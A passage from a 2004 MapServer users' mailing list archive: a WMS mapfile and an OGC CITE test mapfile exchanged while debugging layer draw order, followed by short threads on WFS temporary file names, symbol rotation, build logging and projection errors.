SIZE 425 425
SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym' 

# Projection LCC de la CMI 
PROJECTION
  "proj=lcc"
  "ellps=GRS80"
  "lat_0=63"
  "lon_0=-91.8666"
  "lat_1=49"
  "lat_2=77"
  "x_0=6200000"
  "y_0=2958000"
  "datum=NAD83"
  "units=m"
END

WEB
  TEMPLATE defaultcmitest1.html
  HEADER header.html
  FOOTER footer.html
  IMAGEPATH "C:/Inetpub/wwwroot/tmp/"
  IMAGEURL "/tmp/"
  METADATA
    wms_title "WMS Quebec Node for IJC test2"
    wms_onlineresource "http://f044d065/mapserv/mapcmitest2.asp?"
    wms_contactelectronicmailaddress "nicolas.fortin at ec.gc.ca"
    wms_contactperson "Nicolas Fortin"
    wms_contactorganization "Environnement Canada, SMC-Hydrologie"
    wms_contactposition "Programmeur, Analyste de donn?es num?riques"
    wms_srs "EPSG:4326 EPSG:4269 EPSG:2145 EPSG:42304"
  END
END

LEGEND
  STATUS ON
  LABEL
     COLOR 0 0 0
     SHADOWCOLOR 218 218 218
     SHADOWSIZE 2 2
     TYPE BITMAP
     SIZE MEDIUM
     POSITION CC
     PARTIALS FALSE
     BUFFER 2
  END
END

REFERENCE
  STATUS ON
  IMAGE "c:\Inetpub\wwwroot\mapserv\images\ref_cmi_lite2.gif"
  SIZE 150 150
  EXTENT 7549910 1161398 7689518 1363371
  COLOR -1 -1 -1
  OUTLINECOLOR 255 0 0
END

LAYER
  NAME "2"
  TYPE POLYGON
  CONNECTIONTYPE oraclespatial
  CONNECTION "user/****@quebijc"
  DATA "POLYGON FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000"
  STATUS OFF
  DUMP TRUE
  
  METADATA
    wms_title "Quebec Watersheds"
    wms_extent "7035577.31 1082076.03 7833285.05 1507787.39"
  END

  PROJECTION
    "proj=lcc"
    "ellps=GRS80"
    "lat_0=63"
    "lon_0=-91.8666"
    "lat_1=49"
    "lat_2=77"
    "x_0=6200000"
    "y_0=2958000"
    "datum=NAD83"
    "units=m"
  END
  
  CLASS
    NAME "Watershed"
    SYMBOL 'CIRCLE'
    SIZE 2
    COLOR 255 255 255
    OUTLINECOLOR 0 204 0
  END
END

LAYER
  NAME "1"
  TYPE LINE
  CONNECTIONTYPE oraclespatial
  CONNECTION "user/****@quebijc"
  DATA "LINE FROM USR_SHORELINE.VSHORELINE_LCC USING SRID 3000000"
  STATUS DEFAULT
  GROUP "Shoreline"
  DUMP TRUE
  
  METADATA
    wms_title "St. Lawrence River Detailed Shoreline"
    wms_extent "7563132.5 1166237.24 7684888.9 1363371.77"
    wms_group_title "Shoreline"
  END
  
  PROJECTION
    "proj=lcc"
    "ellps=GRS80"
    "lat_0=63"
    "lon_0=-91.8666"
    "lat_1=49"
    "lat_2=77"
    "x_0=6200000"
    "y_0=2958000"
    "datum=NAD83"
    "units=m"
  END
  
  CLASS
    NAME "Detailed Shoreline"
    COLOR 0 51 255
    SYMBOL 'CIRCLE'
    SIZE 1
  END
END # Shoreline

END


-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca] 
Envoy? : Monday, January 12, 2004 5:05 PM
? : nicolas.fortin at ec.gc.ca
Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu Objet : Re: RE :
[Mapserver-users] WMS LAYERS=


Hi,

I tried to replicate this problem without success by using our WMS 
server used during the OGC compliance tests.   I also used the OGC test 
suite requests.  I joined both the map file and the requests sent (see 
below).  Theses requests contain three layers.  In the first request, 
the "Forest" layer is drawn first.  In the second request, the "Forest" 
layer is drawn last.  You can also see that I modified the mapfile to 
set the "Forest" layer status to "DEFAULT".   It does not seem to affect 
the drawing order.  But maybe I'm missing something.  Do we have access 
your WMS server?  It is possible to have a copy of your mapfile and the 
request you are currently sending?

Norm



The requests used are.


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 



Our map file is as follow:

#
# Start of map file
#
# $Id: ogc_cite_wms_server.map,Exp $
#
NAME OGC_CITE
STATUS ON
SIZE 600 400
## EPSG:4326 extents
EXTENT -2 -2 -1 6
#EXTENT -0.0042 -0.0024 0.0042 0.0024

UNITS METERS
SHAPEPATH "../data/shapefile"
IMAGECOLOR 255 255 255
FONTSET ../etc/fonts.txt
SYMBOLSET ../etc/symbols.sym

#
# Start of web interface definition
#
WEB
# On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root #
of the drive where the .MAP file resides. #
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"
#  LOG "/tmp/gmap.log"
  METADATA
    "WMS_TITLE"         "cite:OGC_CITE WMS Server"
    "WMS_ONLINERESOURCE" 
"http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
    "WMS_SRS"           "EPSG:4326"
    "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
    "WMS_ACCESSCONTRAINTS" "none"
    "WMS_FEES"              "none"

  END
END

PROJECTION
  "init=epsg:4326"
END

QUERYMAP
  SIZE 200 200
  STATUS ON
  STYLE HILITE
  COLOR 255 0 0
END

#
# Start of layer definitions
#

LAYER
  NAME BasicPolygons
  TYPE POLYGON
  STATUS OFF
  DATA BasicPolygons
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "basicpolygons.html"
  CLASS
    NAME "BasicPolygons"
    COLOR 194 194 194
  END
  METADATA
    "WMS_TITLE" "cite:BasicPolygons"
    "WMS_ABSTRACT" "BasicPolygons layer."
#    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes
  TYPE LINE
  STATUS ON
  DATA DividedRoutes
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "DividedRoutes"
    COLOR 0 0 0
    OUTLINECOLOR 0 0 0
    SYMBOL 'circle'
    SIZE 6
  END
  METADATA
    "WMS_TITLE" "cite:DividedRoutes"
    "WMS_ABSTRACT" "DividedRoutes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes_anno
  STATUS ON
  DATA DividedRoutes
  TYPE ANNOTATION
  LABELITEM "NAME"
  CLASS
    NAME "DividedRoutesAnnotations"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 40
    OVERLAYSYMBOL "route75"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "DividedRoutes"
    "WMS_ABSTRACT" "Divided routes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME MapNeatline
  TYPE LINE
  STATUS ON
  DATA MapNeatline
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "MapNeatline"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 3
  END
  METADATA
    "WMS_TITLE" "cite:MapNeatline"
    "WMS_ABSTRACT" "MapNeatline layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME NamedPlaces
  TYPE POLYGON
  STATUS ON
  DATA NamedPlaces
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  TEMPLATE "namedplaces.html"
  CLASS
    NAME "Ashton"
    EXPRESSION "Ashton"
    #COLOR 153 153 153
    COLOR 192 192 192
    OUTLINECOLOR 0 0 0
    SIZE 8
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 192 192 192
      FONT fritqat
      TYPE truetype
      SIZE 10
      POSITION LR
      OFFSET 10 10
      PARTIALS FALSE
    END
  END
  CLASS
    NAME "Goose Island"
    EXPRESSION "Goose Island"
    COLOR 255 255 255
    SIZE 8
    TEXT "Goose | Island"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 4
      POSITION CC
      PARTIALS FALSE
      WRAP "|"
    END
  END
  METADATA
    "WMS_TITLE" "cite:NamedPlaces"
    "WMS_ABSTRACT" "NamedPlaces layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Ponds
  TYPE POLYGON
  STATUS ON
  DATA Ponds
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "ponds.html"
  CLASS
    NAME "Ponds"
    COLOR 0 255 255
    OUTLINECOLOR 0 0 0
    TEXT "Stock Pond"
    LABEL
      COLOR  0 0 0
      FONT fritqat
      TYPE truetype
      SIZE 9
      #POSITION AUTO
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 23
    END
  END
  METADATA
    "WMS_TITLE" "cite:Ponds"
    "WMS_ABSTRACT" "Ponds layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments
  TYPE LINE
  STATUS ON
  DATA RoadSegments
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  CLASS
    NAME "MainStreet"
    EXPRESSION "Main Street"
    SYMBOL 'circle'
    SIZE 3
    COLOR 238 0 0
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 2
    END
  END
  CLASS
    NAME "Route5"
    EXPRESSION "Route 5"
    SYMBOL 'circle'
    SIZE 3
    COLOR 0 0 0
  END
  CLASS
    NAME "Route75"
    EXPRESSION "Dirt Road by Green Forest"
    SYMBOL 'circle'
    SIZE 5
    #COLOR 255 255 0
    COLOR 192 160 0
    TEXT "Dirt Road"
    LABEL
      ANGLE 90
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      #OUTLINECOLOR 255 255 255
      OFFSET 0 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments_anno
  STATUS ON
  DATA RoadSegments
  TYPE ANNOTATION
  CLASSITEM "FID"
  LABELITEM "NAME"
  CLASS
    NAME "Route5NorthEastAnnotations"
    EXPRESSION "104"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  CLASS
    NAME "Route5WestAnnotations"
    EXPRESSION "102"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END #Layer

LAYER
  NAME Streams
  TYPE LINE
  STATUS ON
  DATA Streams
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Streams"
    COLOR 0 0 205
    OUTLINECOLOR 199 199 199
    SYMBOL 'circle'
    SIZE 2
    LABEL
      ANGLE AUTO
      COLOR  0 0 205
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 30 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:Streams"
    "WMS_ABSTRACT" "Streams layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Forests
  TYPE POLYGON
#  STATUS ON
  STATUS DEFAULT
  DATA Forests
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "forests.html"
  CLASS
    NAME "Forests"
    COLOR 0 150 0
    OUTLINECOLOR 0 0 0
    MINSIZE 4
    #SYMBOL "sapin"
    SYMBOL "tree-gif"
    SIZE 90
#    OVERLAYSYMBOL "square"
#    OVERLAYSIZE 50
#    OVERLAYCOLOR -1 -1 -1
    TEXT "State | Forest"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 18
      POSITION AUTO
      PARTIALS FALSE
      WRAP "|"
      OFFSET 100 -60
    END
  END
  METADATA
    "WMS_TITLE" "cite:Forests"
    "WMS_ABSTRACT" "Forests layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Bridges
  TYPE POINT
  STATUS ON
  DATA Bridges
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Bridges"
    COLOR 0 0 0
    SYMBOL 'bridge'
    SIZE 40
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      OFFSET 20 -8
    END
  END
  METADATA
    "WMS_TITLE" "cite:Bridges"
    "WMS_ABSTRACT" "Bridges layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Lakes
  TYPE POLYGON
  STATUS ON
  DATA Lakes
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "lakes.html"
  CLASS
    NAME "Lakes"
    COLOR 0 0 205
    SIZE 8
    TEXT "BLUE | LAKE"
    LABEL
      ANGLE AUTO
      COLOR  255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 9
      POSITION LL
      PARTIALS FALSE
      WRAP "|"
      OFFSET 15 -10
      FORCE true
    END
  END
  METADATA
    "WMS_TITLE" "cite:Lakes"
    "WMS_ABSTRACT" "Lakes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Buildings
  TYPE POLYGON
  STATUS ON
  DATA Buildings
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "buildings.html"
  CLASS
    NAME "Buildings"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
  END
  METADATA
    "WMS_TITLE" "cite:Buildings"
    "WMS_ABSTRACT" "Buildings layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
LAYER
  NAME BuildingCenters
  TYPE POINT
  STATUS ON
  DATA BuildingCenters
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "BuildingCenters"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 4
  END
  METADATA
    "WMS_TITLE" "cite:BuildingCenters"
    "WMS_ABSTRACT" "BuildingCenters layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
END # Map File  


nicolas.fortin at ec.gc.ca wrote:

>Hi Heryk,
>
>Only the layer 1 is set to default, all other are set to OFF.  I
>thought that doesn't matter in WMS cause you only got the layers you 
>are querying.
>
>I set layer 1 to ON and
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>I set layer 1 to OFF (like the others) and
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>Weird...
>Nick
>
>-----Message d'origine-----
>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>Envoy? : Monday, January 12, 2004 4:00 PM
>? : 'nicolas.fortin at ec.gc.ca'
>Objet : RE: [Mapserver-users] WMS LAYERS=
>
>
>Hi,
>Are your layers set to "default" in the mapfile? Is so, you will be
>calling layers 1,2 and all the layers that are set to default! So your 
>might be calling layers 1 and 2 a second time around! Try setting them 
>to "ON".
>
>Bonne chance!
>H?ryk
>
>
>-----Message d'origine-----
>De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? :
>Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu 
>Objet
>: [Mapserver-users] WMS LAYERS=
>
>
>Hi list,
>
>When I make a WMS request with the layers parameters like LAYERS=2,1
>
>In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top
>of layer 2 but it isn't the case...why??
>
>Even if I change to LAYERS=1,2 ... no change
>
>In the mapfile, layer 1 is at the end of the file and is always the top
>layer on others applications using this mapfile.
>
>
>Thx for your help,
>
>Nicolas Fortin
>Math?maticien, Programmeur, Analyste de donn?es
>SMC-Qu?bec Hydrologie, Environnement Canada 
>1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
>(418)648-2516 
>nicolas.fortin at ec.gc.ca  
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From mmontoya at guadalajara.gob.mx  Tue Jan 13 09:03:00 2004
From: mmontoya at guadalajara.gob.mx (=?iso-8859-1?Q?Montoya_Mart=EDn_del_Campo_Miguel_Angel?=)
Date: Tue, 13 Jan 2004 11:03:00 -0600
Subject: [Mapserver-users] (no subject)
Message-ID: 

I am learning Mapserver. All the demos work ok, except those with dynamic
maps. I have a pc with Apache and Windows 98. The result maps are
generated in the machine that works like server, but they are not sent back
to the
client machines in my intranet. 
Is there something that i am missing respect Apache?
Thak you very much for your help.
 
Miguel Angel


From MJHATCHER at qinetiq.com  Tue Jan 13 08:14:11 2004
From: MJHATCHER at qinetiq.com (Hatcher Matthew)
Date: Tue, 13 Jan 2004 16:14:11 -0000
Subject: [Mapserver-users] WFS client temporary files
Message-ID: 

Hi all,

I'm using the WFS client feature of Mapserver in order to use Mapserver to
render my geodata.

The URL I have to connect to is rather long and I seem to be experiencing a
problem with that. The entire URL string forms the filename of the .tmp.gml
file in my /tmp/ folder, and this seems to be too long for Windows to handle
- over 255 characters long.

The result is that I get a "HTTPOpenFile" error in my browser window.
Exactly the same query with a shorter URL works fine.

Am I barking up the wrong tree or is this a fair diagnosis? If so, any
suggestions for fixing it, other than the obvious of using a shorter URL?
;-)

Cheers, Matt.


The Information contained in this E-Mail and any subsequent correspondence
is private and is intended solely for the intended recipient(s).
For those other than the recipient any disclosure, copying, distribution,
or any action taken or omitted to be taken in reliance on such information
is prohibited and may be unlawful.

Emails and other electronic communication with QinetiQ may be monitored.
Calls to QinetiQ may be recorded for quality control,
regulatory and monitoring purposes.


From eduardo at consultoria.eti.br  Tue Jan 13 08:15:09 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Tue, 13 Jan 2004 14:15:09 -0200
Subject: [Mapserver-users] debugging "configure" and "make" processes
In-Reply-To: <20040113145817.263031A659E@mail.medinaco.org>
References: <20040113145817.263031A659E@mail.medinaco.org>
Message-ID: <4004198D.4040204@consultoria.eti.br>




  
  


Thanks a lot!



i used :



$ make > make.log 



and it works!



Eduardo



Lowell Filak escreveu:


  
Will "> debug.text 2>&1" do the trick?

Lowell

The following message was sent by "Eduardo Patto Kanegae"
<eduardo at consultoria.eti.br> on Tue, 13 Jan 2004 11:18:55 -0200.

  

  

    
hi,

Is there a way to save( to a TEXT file per example) the screen output
    

  

  
results to a file, for debbugging purposes.
  

  

    
thanks

Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*Fórum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ -
    

  

  
"Discussões relacionadas ao MapServer"
  

  

    
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do
    

  

  
Brasil com dados censitários"
  

  

    
***************************************
***Fim da Mensagem / End of Message ***
***************************************



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
    

  

  

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


  







From Ballini.Yvain at seat.it  Tue Jan 13 08:41:14 2004
From: Ballini.Yvain at seat.it (Ballini Yvain)
Date: Tue, 13 Jan 2004 17:41:14 +0100
Subject: [Mapserver-users] Symbols in mapserver
Message-ID: <4B1A1EC0790F054193453C48725D43180B8CED@MSGBE1V1.seat.it>

Hi List,

I would like to know if someone has already used some tab file or
shapefile in a mapserver application containing some oriented symbol
(like a directional arrow, for example). The problem isnt' dealing with
the case of label orientating because the tab file (or the shapefile,
without OGR support) which is used has a "Point" geometry and not a
"Line String" geometry.
Under there is an extract of my tab file whose I get the features info
with ogrinfo ("ogrinfo small_arrow.tab small_arrow"):
 
Layer name: small_arrow
Geometry: Point
Feature Count: 267349
Extent: (6.682870, 36.681040) - (18.495850, 46.895265) Layer SRS WKT:
GEOGCS["unnamed",
    DATUM["WGS_1984",
        SPHEROID["WGS 84",6378137,298.257223563],
        TOWGS84[0,0,0,0,0,0,0]],
    PRIMEM["Greenwich",0],
    UNIT["degree",0.0174532925199433]]
LABEL: String (70.0)
OGRFeature(small_arrow):1
  LABEL (String) =
  Style = SYMBOL(a:110,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1")
  POINT (8.85458500 45.96532000)

OGRFeature(small_arrow):2
  LABEL (String) =
  Style = SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1")
  POINT (8.85363000 45.96459000)
...

In fact, I would like to know if there is a way to use correctly this
tab file in mapserver or if I must use other data with my present
version of mapserver 4.0.
Any suggestion?
Thanks ! :)
Yvain.



From opengis at libero.it  Tue Jan 13 08:43:42 2004
From: opengis at libero.it (opengis_libero)
Date: Tue, 13 Jan 2004 17:43:42 +0100
Subject: [Mapserver-users] Projection trouble
Message-ID: <4004203E.6030406@libero.it>

Howdy,

I've problem on mapserver shape file projection (on Window2000, Apache).
mapserv -v
MapServer version 3.6.3 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP 
SUPPORTS=PROJ
 SUPPORTS=TTF SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT INPUT=EPPL7 
INPUT=POSTGIS
INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
--Other project work fine--

Shape file come with *.shp, *.shx, *.sbn, *.sbx, *.dbf and *.prj
The last one is:
PROJCS["WGS_1984_UTM_Zone_32N",GEOGCS["GCS_WGS_1984",DATUM["D_WGS_1984",SPHEROID["WGS_1984",6378137.0,298.257223563]],PRIMEM["Greenwich",0.0],UNIT["Degree",0.0174532925199433]],PROJECTION["Transverse_Mercator"],PARAMETER["False_Easting",500000.0],PARAMETER["False_Northing",0.0],PARAMETER["Central_Meridian",9.0],PARAMETER["Scale_Factor",0.9996],PARAMETER["Latitude_Of_Origin",0.0],UNIT["Meter",1.0]]

mapfile without PROJECTION doesn't draw map

In map file if I try:
PROJECTION
  geographic
END
In browser I've:
msProcessProjection(): Projection library error. PROJECTION 'GEOGRAPHIC' 
no longer supported. Provide explicit definition. ie. proj=latlong 
ellps=clrk66
--This error msg tell me proj4 work.
I think that I must change epsg, but I'don't know how and how can use in 
map file.

Thanks in advance



From ed at topozone.com  Tue Jan 13 08:57:09 2004
From: ed at topozone.com (Ed McNierney)
Date: Tue, 13 Jan 2004 11:57:09 -0500
Subject: [Mapserver-users] WFS client temporary files
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B05E@mercator.topozone.com>

Matt -

My first guess is that you're barking up the wrong tree, at least as far
as blaming Windows.  Any URI length limit is likely to be imposed by
your client.  You don't say what browser you're using - I can only find
references to an "HTTPOpenFile" function in the Catalyst SocketTools
library, and you might want to read this article on how to handle that
tool's 511-character limitation:

http://www.catalyst.com/cgi-bin/knowbase.cgi?action=view&docid=100199

Unless, of course, *I'm* barking up the wrong tree.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: Hatcher Matthew [mailto:MJHATCHER at qinetiq.com] 
Sent: Tuesday, January 13, 2004 11:14 AM
To: 'mapserver-users at lists.gis.umn.edu'
Subject: [Mapserver-users] WFS client temporary files

Hi all,

I'm using the WFS client feature of Mapserver in order to use Mapserver
to render my geodata.

The URL I have to connect to is rather long and I seem to be
experiencing a problem with that. The entire URL string forms the
filename of the .tmp.gml file in my /tmp/ folder, and this seems to be
too long for Windows to handle
- over 255 characters long.

The result is that I get a "HTTPOpenFile" error in my browser window.
Exactly the same query with a shorter URL works fine.

Am I barking up the wrong tree or is this a fair diagnosis? If so, any
suggestions for fixing it, other than the obvious of using a shorter
URL?
;-)

Cheers, Matt.


The Information contained in this E-Mail and any subsequent
correspondence is private and is intended solely for the intended
recipient(s).
For those other than the recipient any disclosure, copying,
distribution, or any action taken or omitted to be taken in reliance on
such information is prohibited and may be unlawful.

Emails and other electronic communication with QinetiQ may be monitored.
Calls to QinetiQ may be recorded for quality control, regulatory and
monitoring purposes.
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From MJHATCHER at qinetiq.com  Tue Jan 13 09:08:38 2004
From: MJHATCHER at qinetiq.com (Hatcher Matthew)
Date: Tue, 13 Jan 2004 17:08:38 -0000
Subject: [Mapserver-users] WFS client tempor	ary files
Message-ID: 

Hi Ed,

Thanks for your prompt reply.

This'll teach me for posting a vague query - posting the wrong error
message. Sorry!

The actual error is:
msHTTPExecuteRequests(): HTTP request error. Can't open output file
c:\Program Files\Apache
Group\Apache2\htdocs\tmp\\http___localhost_path_to_wfs_servlet_CONFIG_config
uration.cfg_SERVICE_WFS_VERSION_1_0_0_TYPENAME_geographic_global_rivers_REQU
EST_GetFeature_BBOX__73_955808__1_637206_47_955808_79_637206.tmp.gml

Now, this error only occurs with a long url (i.e. the /localhost/path_to_wfs
bit which is rather long) - if I shorten this then I don't get the error.
This seems to be a MapServer thing, rather than a browser thing.

Any other ideas?

Matt.

-----Original Message-----
From: Ed McNierney [mailto:ed at topozone.com]
Sent: 13 January 2004 16:57
To: Hatcher Matthew; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] WFS client temporary files


Matt -

My first guess is that you're barking up the wrong tree, at least as far
as blaming Windows.  Any URI length limit is likely to be imposed by
your client.  You don't say what browser you're using - I can only find
references to an "HTTPOpenFile" function in the Catalyst SocketTools
library, and you might want to read this article on how to handle that
tool's 511-character limitation:

http://www.catalyst.com/cgi-bin/knowbase.cgi?action=view&docid=100199

Unless, of course, *I'm* barking up the wrong tree.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: Hatcher Matthew [mailto:MJHATCHER at qinetiq.com] 
Sent: Tuesday, January 13, 2004 11:14 AM
To: 'mapserver-users at lists.gis.umn.edu'
Subject: [Mapserver-users] WFS client temporary files

Hi all,

I'm using the WFS client feature of Mapserver in order to use Mapserver
to render my geodata.

The URL I have to connect to is rather long and I seem to be
experiencing a problem with that. The entire URL string forms the
filename of the .tmp.gml file in my /tmp/ folder, and this seems to be
too long for Windows to handle
- over 255 characters long.

The result is that I get a "HTTPOpenFile" error in my browser window.
Exactly the same query with a shorter URL works fine.

Am I barking up the wrong tree or is this a fair diagnosis? If so, any
suggestions for fixing it, other than the obvious of using a shorter
URL?
;-)

Cheers, Matt.


The Information contained in this E-Mail and any subsequent
correspondence is private and is intended solely for the intended
recipient(s).
For those other than the recipient any disclosure, copying,
distribution, or any action taken or omitted to be taken in reliance on
such information is prohibited and may be unlawful.

Emails and other electronic communication with QinetiQ may be monitored.
Calls to QinetiQ may be recorded for quality control, regulatory and
monitoring purposes.
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

The Information contained in this E-Mail and any subsequent correspondence
is private and is intended solely for the intended recipient(s).
For those other than the recipient any disclosure, copying, distribution,
or any action taken or omitted to be taken in reliance on such information
is prohibited and may be unlawful.

Emails and other electronic communication with QinetiQ may be monitored.
Calls to QinetiQ may be recorded for quality control,
regulatory and monitoring purposes.


From adams at terrestris.de  Tue Jan 13 09:20:56 2004
From: adams at terrestris.de (Till Adams)
Date: Tue, 13 Jan 2004 18:20:56 +0100
Subject: [Mapserver-users] Symbols in mapserver
References: <4B1A1EC0790F054193453C48725D43180B8CED@MSGBE1V1.seat.it>
Message-ID: <400428F8.6060109@terrestris.de>

Dear Ballini,

it is not possible to rotate symbols in mapserver, but it is possible to 
do this with labels. So you need a labelitem, which is the letter from 
your Ttf to display the symbol and a "labelangleitem" field with the 
angle of the rotation as value.

Looks like this:
LAYER
   NAME '...'
   ...
   CLASSITEM 'anitem'
   LABELITEM 'label'
   LABELANGLEITEM 'angle'
    CLASS
     NAME '...'
     EXPRESSION /./
     LABEL
      TYPE TRUETYPE
      FONT "aFont"
      SIZE 18
      COLOR 255 0 0
     END
    END  # CLASS
